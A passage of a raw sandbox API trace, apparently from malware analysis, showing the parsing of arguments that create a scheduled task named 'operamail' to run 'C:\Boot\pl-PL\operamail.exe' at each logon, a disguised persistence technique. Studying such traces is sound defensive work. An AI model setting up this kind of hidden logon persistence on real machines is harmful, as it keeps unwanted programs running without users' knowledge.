_memicmp (_Buf1=0x2ec170, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0135.974] lstrlenW (lpString="tn") returned 2 [0135.974] _memicmp (_Buf1=0x2ec1b0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0135.974] _vsnwprintf (in: _Buffer=0x2ec1f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c2a8 | out: _Buffer="|mo|") returned 4 [0135.974] _vsnwprintf (in: _Buffer=0x2ec1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c2a8 | out: _Buffer="|tn|") returned 4 [0135.974] lstrlenW (lpString="|mo|") returned 4 [0135.974] lstrlenW (lpString="|tn|") returned 4 [0135.974] StrStrIW (lpFirst="|mo|", lpSrch="|tn|") returned 0x0 [0135.974] SetLastError (dwErrCode=0x490) [0135.974] lstrlenW (lpString="d") returned 1 [0135.974] lstrlenW (lpString="d") returned 1 [0135.974] _memicmp (_Buf1=0x2ec170, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0135.974] lstrlenW (lpString="tn") returned 2 [0135.974] _memicmp (_Buf1=0x2ec1b0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0135.974] _vsnwprintf (in: _Buffer=0x2ec1f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21c2a8 | out: _Buffer="|d|") returned 3 [0135.974] _vsnwprintf (in: _Buffer=0x2ec1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c2a8 | out: _Buffer="|tn|") returned 4 [0135.975] lstrlenW (lpString="|d|") returned 3 [0135.975] lstrlenW (lpString="|tn|") returned 4 [0135.975] SetLastError (dwErrCode=0x490) [0135.975] lstrlenW (lpString="m") returned 1 [0135.975] lstrlenW (lpString="m") returned 1 [0135.975] _memicmp (_Buf1=0x2ec170, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0135.975] lstrlenW (lpString="tn") returned 2 [0135.975] _memicmp (_Buf1=0x2ec1b0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0135.975] _vsnwprintf (in: _Buffer=0x2ec1f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21c2a8 | out: _Buffer="|m|") returned 3 [0135.975] _vsnwprintf (in: _Buffer=0x2ec1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c2a8 | out: _Buffer="|tn|") returned 4 [0135.975] lstrlenW (lpString="|m|") returned 3 [0135.975] lstrlenW (lpString="|tn|") returned 4 [0135.975] SetLastError (dwErrCode=0x490) [0135.975] lstrlenW (lpString="i") returned 1 [0135.975] lstrlenW (lpString="i") returned 1 [0135.975] _memicmp (_Buf1=0x2ec170, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0135.975] lstrlenW (lpString="tn") returned 2 [0135.975] _memicmp (_Buf1=0x2ec1b0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0135.975] _vsnwprintf (in: _Buffer=0x2ec1f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21c2a8 | out: _Buffer="|i|") returned 3 [0135.975] _vsnwprintf (in: _Buffer=0x2ec1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c2a8 | out: _Buffer="|tn|") returned 4 [0135.975] lstrlenW (lpString="|i|") returned 3 [0135.975] lstrlenW (lpString="|tn|") returned 4 [0135.975] SetLastError (dwErrCode=0x490) [0135.976] lstrlenW (lpString="tn") returned 2 [0135.976] lstrlenW (lpString="tn") returned 2 [0135.976] _memicmp (_Buf1=0x2ec170, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0135.976] lstrlenW (lpString="tn") returned 2 [0135.976] _memicmp (_Buf1=0x2ec1b0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0135.976] _vsnwprintf (in: _Buffer=0x2ec1f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c2a8 | out: _Buffer="|tn|") returned 4 [0135.976] _vsnwprintf (in: _Buffer=0x2ec1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c2a8 | out: _Buffer="|tn|") returned 4 [0135.976] lstrlenW (lpString="|tn|") returned 4 [0135.976] lstrlenW (lpString="|tn|") returned 4 [0135.976] StrStrIW (lpFirst="|tn|", lpSrch="|tn|") returned="|tn|" [0135.976] SetLastError (dwErrCode=0x0) [0135.976] SetLastError (dwErrCode=0x0) [0135.976] lstrlenW (lpString="operamail") returned 9 [0135.976] lstrlenW (lpString="-/") returned 2 [0135.976] StrChrIW (lpStart="-/", wMatch=0x6f) returned 0x0 [0135.976] SetLastError (dwErrCode=0x490) [0135.976] SetLastError (dwErrCode=0x490) [0135.976] SetLastError (dwErrCode=0x0) [0135.976] lstrlenW (lpString="operamail") returned 9 [0135.976] StrChrIW (lpStart="operamail", wMatch=0x3a) returned 0x0 [0135.976] SetLastError (dwErrCode=0x490) [0135.976] SetLastError (dwErrCode=0x0) [0135.976] lstrlenW (lpString="operamail") returned 9 [0135.976] SetLastError (dwErrCode=0x0) [0135.976] SetLastError (dwErrCode=0x0) [0135.977] lstrlenW (lpString="/sc") returned 3 [0135.977] lstrlenW (lpString="-/") returned 2 [0135.977] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0135.977] lstrlenW (lpString="create") returned 6 [0135.977] lstrlenW (lpString="create") returned 6 [0135.977] _memicmp (_Buf1=0x2ec170, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0135.977] lstrlenW (lpString="sc") returned 2 [0135.977] _memicmp (_Buf1=0x2ec1b0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0135.977] _vsnwprintf (in: _Buffer=0x2ec1f0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x21c2a8 | out: _Buffer="|create|") returned 8 [0135.977] _vsnwprintf (in: _Buffer=0x2ec1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c2a8 | out: _Buffer="|sc|") returned 4 [0135.977] lstrlenW (lpString="|create|") returned 8 [0135.977] lstrlenW (lpString="|sc|") returned 4 [0135.977] StrStrIW (lpFirst="|create|", lpSrch="|sc|") returned 0x0 [0135.977] SetLastError (dwErrCode=0x490) [0135.977] lstrlenW (lpString="?") returned 1 [0135.977] lstrlenW (lpString="?") returned 1 [0135.977] _memicmp (_Buf1=0x2ec170, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0135.977] lstrlenW (lpString="sc") returned 2 [0135.977] _memicmp (_Buf1=0x2ec1b0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0135.977] _vsnwprintf (in: _Buffer=0x2ec1f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21c2a8 | out: _Buffer="|?|") returned 3 [0135.977] _vsnwprintf (in: _Buffer=0x2ec1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c2a8 | out: _Buffer="|sc|") returned 4 [0135.977] lstrlenW (lpString="|?|") returned 3 [0135.977] lstrlenW (lpString="|sc|") returned 4 [0135.977] SetLastError (dwErrCode=0x490) [0135.977] lstrlenW (lpString="s") returned 1 [0135.978] lstrlenW (lpString="s") returned 1 [0135.978] _memicmp (_Buf1=0x2ec170, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0135.978] lstrlenW (lpString="sc") returned 2 [0135.978] _memicmp (_Buf1=0x2ec1b0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0135.978] _vsnwprintf (in: _Buffer=0x2ec1f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21c2a8 | out: _Buffer="|s|") returned 3 [0135.978] _vsnwprintf (in: _Buffer=0x2ec1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c2a8 | out: _Buffer="|sc|") returned 4 [0135.978] lstrlenW (lpString="|s|") returned 3 [0135.978] lstrlenW (lpString="|sc|") returned 4 [0135.978] SetLastError (dwErrCode=0x490) [0135.978] lstrlenW (lpString="u") returned 1 [0135.978] lstrlenW (lpString="u") returned 1 [0135.978] _memicmp (_Buf1=0x2ec170, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0135.978] lstrlenW (lpString="sc") returned 2 [0135.978] _memicmp (_Buf1=0x2ec1b0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0135.978] _vsnwprintf (in: _Buffer=0x2ec1f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21c2a8 | out: _Buffer="|u|") returned 3 [0135.978] _vsnwprintf (in: _Buffer=0x2ec1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c2a8 | out: _Buffer="|sc|") returned 4 [0135.978] lstrlenW (lpString="|u|") returned 3 [0135.978] lstrlenW (lpString="|sc|") returned 4 [0135.978] SetLastError (dwErrCode=0x490) [0135.978] lstrlenW (lpString="p") returned 1 [0135.978] lstrlenW (lpString="p") returned 1 [0135.978] _memicmp (_Buf1=0x2ec170, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0135.978] lstrlenW (lpString="sc") returned 2 [0135.978] _memicmp (_Buf1=0x2ec1b0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0135.978] _vsnwprintf (in: _Buffer=0x2ec1f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21c2a8 | out: _Buffer="|p|") returned 3 [0135.978] _vsnwprintf (in: _Buffer=0x2ec1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c2a8 | out: _Buffer="|sc|") returned 4 [0135.979] lstrlenW (lpString="|p|") returned 3 [0135.979] lstrlenW (lpString="|sc|") returned 4 [0135.979] SetLastError (dwErrCode=0x490) [0135.979] lstrlenW (lpString="ru") returned 2 [0135.979] lstrlenW (lpString="ru") returned 2 [0135.979] _memicmp (_Buf1=0x2ec170, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0135.979] lstrlenW (lpString="sc") returned 2 [0135.979] _memicmp (_Buf1=0x2ec1b0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0135.979] _vsnwprintf (in: _Buffer=0x2ec1f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c2a8 | out: _Buffer="|ru|") returned 4 [0135.979] _vsnwprintf (in: _Buffer=0x2ec1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c2a8 | out: _Buffer="|sc|") returned 4 [0135.979] lstrlenW (lpString="|ru|") returned 4 [0135.979] lstrlenW (lpString="|sc|") returned 4 [0135.979] StrStrIW (lpFirst="|ru|", lpSrch="|sc|") returned 0x0 [0135.979] SetLastError (dwErrCode=0x490) [0135.979] lstrlenW (lpString="rp") returned 2 [0135.979] lstrlenW (lpString="rp") returned 2 [0135.979] _memicmp (_Buf1=0x2ec170, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0135.979] lstrlenW (lpString="sc") returned 2 [0135.979] _memicmp (_Buf1=0x2ec1b0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0135.979] _vsnwprintf (in: _Buffer=0x2ec1f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c2a8 | out: _Buffer="|rp|") returned 4 [0135.979] _vsnwprintf (in: _Buffer=0x2ec1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c2a8 | out: _Buffer="|sc|") returned 4 [0135.979] lstrlenW (lpString="|rp|") returned 4 [0135.979] lstrlenW (lpString="|sc|") returned 4 [0135.979] StrStrIW (lpFirst="|rp|", lpSrch="|sc|") returned 0x0 [0135.979] SetLastError (dwErrCode=0x490) [0135.979] lstrlenW (lpString="sc") returned 2 [0135.979] lstrlenW (lpString="sc") returned 2 [0135.980] _memicmp (_Buf1=0x2ec170, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0135.980] lstrlenW (lpString="sc") returned 2 [0135.980] _memicmp (_Buf1=0x2ec1b0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0135.980] _vsnwprintf (in: _Buffer=0x2ec1f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c2a8 | out: _Buffer="|sc|") returned 4 [0135.980] _vsnwprintf (in: _Buffer=0x2ec1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c2a8 | out: _Buffer="|sc|") returned 4 [0135.980] lstrlenW (lpString="|sc|") returned 4 [0135.980] lstrlenW (lpString="|sc|") returned 4 [0135.980] StrStrIW (lpFirst="|sc|", lpSrch="|sc|") returned="|sc|" [0135.980] SetLastError (dwErrCode=0x0) [0135.980] SetLastError (dwErrCode=0x0) [0135.980] lstrlenW (lpString="ONLOGON") returned 7 [0135.980] lstrlenW (lpString="-/") returned 2 [0135.980] StrChrIW (lpStart="-/", wMatch=0x4f) returned 0x0 [0135.980] SetLastError (dwErrCode=0x490) [0135.980] SetLastError (dwErrCode=0x490) [0135.980] SetLastError (dwErrCode=0x0) [0135.980] lstrlenW (lpString="ONLOGON") returned 7 [0135.980] StrChrIW (lpStart="ONLOGON", wMatch=0x3a) returned 0x0 [0135.980] SetLastError (dwErrCode=0x490) [0135.980] SetLastError (dwErrCode=0x0) [0135.980] GetProcessHeap () returned 0x2d0000 [0135.980] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0xc, Size=0x18) returned 0x2ed490 [0135.980] _memicmp (_Buf1=0x2ed490, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0135.980] lstrlenW (lpString="ONLOGON") returned 7 [0135.980] GetProcessHeap () returned 0x2d0000 [0135.980] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0xc, Size=0x10) returned 0x2ed550 [0135.980] lstrlenW (lpString="ONLOGON") returned 7 [0135.981] lstrlenW (lpString=" \x09") returned 2 [0135.981] StrChrW (lpStart=" \x09", wMatch=0x4f) returned 0x0 [0135.981] StrChrW (lpStart=" \x09", wMatch=0x4f) returned 0x0 [0135.981] StrChrW (lpStart=" \x09", wMatch=0x4e) returned 0x0 [0135.981] StrChrW (lpStart=" \x09", wMatch=0x4c) returned 0x0 [0135.981] StrChrW (lpStart=" \x09", wMatch=0x4f) returned 0x0 [0135.981] StrChrW (lpStart=" \x09", wMatch=0x47) returned 0x0 [0135.981] StrChrW (lpStart=" \x09", wMatch=0x4f) returned 0x0 [0135.981] StrChrW (lpStart=" \x09", wMatch=0x4e) returned 0x0 [0135.981] GetLastError () returned 0x0 [0135.981] lstrlenW (lpString="ONLOGON") returned 7 [0135.981] lstrlenW (lpString="ONLOGON") returned 7 [0135.981] SetLastError (dwErrCode=0x0) [0135.981] SetLastError (dwErrCode=0x0) [0135.981] lstrlenW (lpString="/tr") returned 3 [0135.981] lstrlenW (lpString="-/") returned 2 [0135.981] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0135.981] lstrlenW (lpString="create") returned 6 [0135.981] lstrlenW (lpString="create") returned 6 [0135.981] _memicmp (_Buf1=0x2ec170, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0135.981] lstrlenW (lpString="tr") returned 2 [0135.981] _memicmp (_Buf1=0x2ec1b0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0135.981] _vsnwprintf (in: _Buffer=0x2ec1f0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x21c2a8 | out: _Buffer="|create|") returned 8 [0135.981] _vsnwprintf (in: _Buffer=0x2ec1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c2a8 | out: _Buffer="|tr|") returned 4 [0135.981] lstrlenW (lpString="|create|") returned 8 [0135.981] lstrlenW (lpString="|tr|") returned 4 [0135.981] StrStrIW (lpFirst="|create|", lpSrch="|tr|") returned 0x0 [0135.981] SetLastError (dwErrCode=0x490) [0135.981] lstrlenW (lpString="?") returned 1 [0135.982] lstrlenW (lpString="?") returned 1 [0135.982] _memicmp (_Buf1=0x2ec170, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0135.982] lstrlenW (lpString="tr") returned 2 [0135.982] _memicmp (_Buf1=0x2ec1b0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0135.982] _vsnwprintf (in: _Buffer=0x2ec1f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21c2a8 | out: _Buffer="|?|") returned 3 [0135.982] _vsnwprintf (in: _Buffer=0x2ec1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c2a8 | out: _Buffer="|tr|") returned 4 [0135.982] lstrlenW (lpString="|?|") returned 3 [0135.982] lstrlenW (lpString="|tr|") returned 4 [0135.982] SetLastError (dwErrCode=0x490) [0135.982] lstrlenW (lpString="s") returned 1 [0135.982] lstrlenW (lpString="s") returned 1 [0135.982] _memicmp (_Buf1=0x2ec170, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0135.982] lstrlenW (lpString="tr") returned 2 [0135.982] _memicmp (_Buf1=0x2ec1b0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0135.982] _vsnwprintf (in: _Buffer=0x2ec1f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21c2a8 | out: _Buffer="|s|") returned 3 [0135.982] _vsnwprintf (in: _Buffer=0x2ec1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c2a8 | out: _Buffer="|tr|") returned 4 [0135.982] lstrlenW (lpString="|s|") returned 3 [0135.982] lstrlenW (lpString="|tr|") returned 4 [0135.982] SetLastError (dwErrCode=0x490) [0135.982] lstrlenW (lpString="u") returned 1 [0135.982] lstrlenW (lpString="u") returned 1 [0135.982] _memicmp (_Buf1=0x2ec170, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0135.982] lstrlenW (lpString="tr") returned 2 [0135.982] _memicmp (_Buf1=0x2ec1b0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0135.982] _vsnwprintf (in: _Buffer=0x2ec1f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21c2a8 | out: _Buffer="|u|") returned 3 [0135.982] _vsnwprintf (in: _Buffer=0x2ec1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c2a8 | out: _Buffer="|tr|") returned 4 [0135.983] lstrlenW (lpString="|u|") returned 3 [0135.983] lstrlenW (lpString="|tr|") returned 4 [0135.983] SetLastError (dwErrCode=0x490) [0135.983] lstrlenW (lpString="p") returned 1 [0135.983] lstrlenW (lpString="p") returned 1 [0135.983] _memicmp (_Buf1=0x2ec170, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0135.983] lstrlenW (lpString="tr") returned 2 [0135.983] _memicmp (_Buf1=0x2ec1b0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0135.983] _vsnwprintf (in: _Buffer=0x2ec1f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21c2a8 | out: _Buffer="|p|") returned 3 [0135.983] _vsnwprintf (in: _Buffer=0x2ec1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c2a8 | out: _Buffer="|tr|") returned 4 [0135.983] lstrlenW (lpString="|p|") returned 3 [0135.983] lstrlenW (lpString="|tr|") returned 4 [0135.983] SetLastError (dwErrCode=0x490) [0135.983] lstrlenW (lpString="ru") returned 2 [0135.983] lstrlenW (lpString="ru") returned 2 [0135.983] _memicmp (_Buf1=0x2ec170, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0135.983] lstrlenW (lpString="tr") returned 2 [0135.983] _memicmp (_Buf1=0x2ec1b0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0135.983] _vsnwprintf (in: _Buffer=0x2ec1f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c2a8 | out: _Buffer="|ru|") returned 4 [0135.983] _vsnwprintf (in: _Buffer=0x2ec1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c2a8 | out: _Buffer="|tr|") returned 4 [0135.983] lstrlenW (lpString="|ru|") returned 4 [0135.983] lstrlenW (lpString="|tr|") returned 4 [0135.983] StrStrIW (lpFirst="|ru|", lpSrch="|tr|") returned 0x0 [0135.983] SetLastError (dwErrCode=0x490) [0135.983] lstrlenW (lpString="rp") returned 2 [0135.983] lstrlenW (lpString="rp") returned 2 [0135.984] _memicmp (_Buf1=0x2ec170, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0135.984] lstrlenW (lpString="tr") returned 2 [0135.984] _memicmp (_Buf1=0x2ec1b0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0135.984] _vsnwprintf (in: _Buffer=0x2ec1f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c2a8 | out: _Buffer="|rp|") returned 4 [0135.984] _vsnwprintf (in: _Buffer=0x2ec1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c2a8 | out: _Buffer="|tr|") returned 4 [0135.984] lstrlenW (lpString="|rp|") returned 4 [0135.984] lstrlenW (lpString="|tr|") returned 4 [0135.984] StrStrIW (lpFirst="|rp|", lpSrch="|tr|") returned 0x0 [0135.984] SetLastError (dwErrCode=0x490) [0135.984] lstrlenW (lpString="sc") returned 2 [0135.984] lstrlenW (lpString="sc") returned 2 [0135.984] _memicmp (_Buf1=0x2ec170, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0135.984] lstrlenW (lpString="tr") returned 2 [0135.984] _memicmp (_Buf1=0x2ec1b0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0135.984] _vsnwprintf (in: _Buffer=0x2ec1f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c2a8 | out: _Buffer="|sc|") returned 4 [0135.984] _vsnwprintf (in: _Buffer=0x2ec1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c2a8 | out: _Buffer="|tr|") returned 4 [0135.984] lstrlenW (lpString="|sc|") returned 4 [0135.984] lstrlenW (lpString="|tr|") returned 4 [0135.984] StrStrIW (lpFirst="|sc|", lpSrch="|tr|") returned 0x0 [0135.984] SetLastError (dwErrCode=0x490) [0135.984] lstrlenW (lpString="mo") returned 2 [0135.984] lstrlenW (lpString="mo") returned 2 [0135.984] _memicmp (_Buf1=0x2ec170, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0135.984] lstrlenW (lpString="tr") returned 2 [0135.984] _memicmp (_Buf1=0x2ec1b0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0135.984] _vsnwprintf (in: _Buffer=0x2ec1f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c2a8 | out: _Buffer="|mo|") returned 4 [0135.985] _vsnwprintf (in: _Buffer=0x2ec1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c2a8 | out: _Buffer="|tr|") returned 4 [0135.985] lstrlenW (lpString="|mo|") returned 4 [0135.985] lstrlenW (lpString="|tr|") returned 4 [0135.985] StrStrIW (lpFirst="|mo|", lpSrch="|tr|") returned 0x0 [0135.985] SetLastError (dwErrCode=0x490) [0135.985] lstrlenW (lpString="d") returned 1 [0135.985] lstrlenW (lpString="d") returned 1 [0135.985] _memicmp (_Buf1=0x2ec170, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0135.985] lstrlenW (lpString="tr") returned 2 [0135.985] _memicmp (_Buf1=0x2ec1b0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0135.985] _vsnwprintf (in: _Buffer=0x2ec1f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21c2a8 | out: _Buffer="|d|") returned 3 [0135.985] _vsnwprintf (in: _Buffer=0x2ec1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c2a8 | out: _Buffer="|tr|") returned 4 [0135.985] lstrlenW (lpString="|d|") returned 3 [0135.985] lstrlenW (lpString="|tr|") returned 4 [0135.985] SetLastError (dwErrCode=0x490) [0135.985] lstrlenW (lpString="m") returned 1 [0135.985] lstrlenW (lpString="m") returned 1 [0135.985] _memicmp (_Buf1=0x2ec170, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0135.985] lstrlenW (lpString="tr") returned 2 [0135.985] _memicmp (_Buf1=0x2ec1b0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0135.985] _vsnwprintf (in: _Buffer=0x2ec1f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21c2a8 | out: _Buffer="|m|") returned 3 [0135.985] _vsnwprintf (in: _Buffer=0x2ec1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c2a8 | out: _Buffer="|tr|") returned 4 [0135.985] lstrlenW (lpString="|m|") returned 3 [0135.985] lstrlenW (lpString="|tr|") returned 4 [0135.985] SetLastError (dwErrCode=0x490) [0135.985] lstrlenW (lpString="i") returned 1 [0135.985] lstrlenW (lpString="i") returned 1 [0135.986] _memicmp (_Buf1=0x2ec170, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0135.986] lstrlenW (lpString="tr") returned 2 [0135.986] _memicmp (_Buf1=0x2ec1b0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0135.986] _vsnwprintf (in: _Buffer=0x2ec1f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21c2a8 | out: _Buffer="|i|") returned 3 [0135.986] _vsnwprintf (in: _Buffer=0x2ec1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c2a8 | out: _Buffer="|tr|") returned 4 [0135.986] lstrlenW (lpString="|i|") returned 3 [0135.986] lstrlenW (lpString="|tr|") returned 4 [0135.986] SetLastError (dwErrCode=0x490) [0135.986] lstrlenW (lpString="tn") returned 2 [0135.986] lstrlenW (lpString="tn") returned 2 [0135.986] _memicmp (_Buf1=0x2ec170, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0135.986] lstrlenW (lpString="tr") returned 2 [0135.986] _memicmp (_Buf1=0x2ec1b0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0135.986] _vsnwprintf (in: _Buffer=0x2ec1f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c2a8 | out: _Buffer="|tn|") returned 4 [0135.986] _vsnwprintf (in: _Buffer=0x2ec1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c2a8 | out: _Buffer="|tr|") returned 4 [0135.986] lstrlenW (lpString="|tn|") returned 4 [0135.986] lstrlenW (lpString="|tr|") returned 4 [0135.986] StrStrIW (lpFirst="|tn|", lpSrch="|tr|") returned 0x0 [0135.986] SetLastError (dwErrCode=0x490) [0135.986] lstrlenW (lpString="tr") returned 2 [0135.986] lstrlenW (lpString="tr") returned 2 [0135.986] _memicmp (_Buf1=0x2ec170, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0135.986] lstrlenW (lpString="tr") returned 2 [0135.986] _memicmp (_Buf1=0x2ec1b0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0135.986] _vsnwprintf (in: _Buffer=0x2ec1f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c2a8 | out: _Buffer="|tr|") returned 4 [0135.987] _vsnwprintf (in: _Buffer=0x2ec1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c2a8 | out: _Buffer="|tr|") returned 4 [0135.987] lstrlenW (lpString="|tr|") returned 4 [0135.987] lstrlenW (lpString="|tr|") returned 4 [0135.987] StrStrIW (lpFirst="|tr|", lpSrch="|tr|") returned="|tr|" [0135.987] SetLastError (dwErrCode=0x0) [0135.987] SetLastError (dwErrCode=0x0) [0135.987] lstrlenW (lpString="'C:\\Boot\\pl-PL\\operamail.exe'") returned 29 [0135.987] lstrlenW (lpString="-/") returned 2 [0135.987] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0135.987] SetLastError (dwErrCode=0x490) [0135.987] SetLastError (dwErrCode=0x490) [0135.987] SetLastError (dwErrCode=0x0) [0135.987] lstrlenW (lpString="'C:\\Boot\\pl-PL\\operamail.exe'") returned 29 [0135.987] StrChrIW (lpStart="'C:\\Boot\\pl-PL\\operamail.exe'", wMatch=0x3a) returned=":\\Boot\\pl-PL\\operamail.exe'" [0135.987] lstrlenW (lpString="'C:\\Boot\\pl-PL\\operamail.exe'") returned 29 [0135.987] _memicmp (_Buf1=0x2ed4d0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0135.987] _memicmp (_Buf1=0x2ed510, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0135.987] SetLastError (dwErrCode=0x7a) [0135.987] SetLastError (dwErrCode=0x0) [0135.987] SetLastError (dwErrCode=0x0) [0135.987] lstrlenW (lpString="'C") returned 2 [0135.987] lstrlenW (lpString="-/") returned 2 [0135.987] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0135.987] SetLastError (dwErrCode=0x490) [0135.987] SetLastError (dwErrCode=0x490) [0135.987] SetLastError (dwErrCode=0x0) [0135.987] _memicmp (_Buf1=0x2ed490, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0135.987] lstrlenW (lpString="'C:\\Boot\\pl-PL\\operamail.exe'") returned 29 [0135.987] GetProcessHeap () returned 0x2d0000 [0135.988] HeapValidate (hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ed550) returned 1 [0135.988] GetProcessHeap () returned 0x2d0000 [0135.988] RtlReAllocateHeap (Heap=0x2d0000, Flags=0xc, Ptr=0x2ed550, Size=0x3c) returned 0x2e92c0 [0135.988] lstrlenW (lpString="'C:\\Boot\\pl-PL\\operamail.exe'") returned 29 [0135.988] lstrlenW (lpString=" \x09") returned 2 [0135.988] StrChrW (lpStart=" \x09", wMatch=0x27) returned 0x0 [0135.988] StrChrW (lpStart=" \x09", wMatch=0x27) returned 0x0 [0135.988] StrChrW (lpStart=" \x09", wMatch=0x43) returned 0x0 [0135.988] StrChrW (lpStart=" \x09", wMatch=0x3a) returned 0x0 [0135.988] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0135.988] StrChrW (lpStart=" \x09", wMatch=0x42) returned 0x0 [0135.988] StrChrW (lpStart=" \x09", wMatch=0x6f) returned 0x0 [0135.988] StrChrW (lpStart=" \x09", wMatch=0x6f) returned 0x0 [0135.988] StrChrW (lpStart=" \x09", 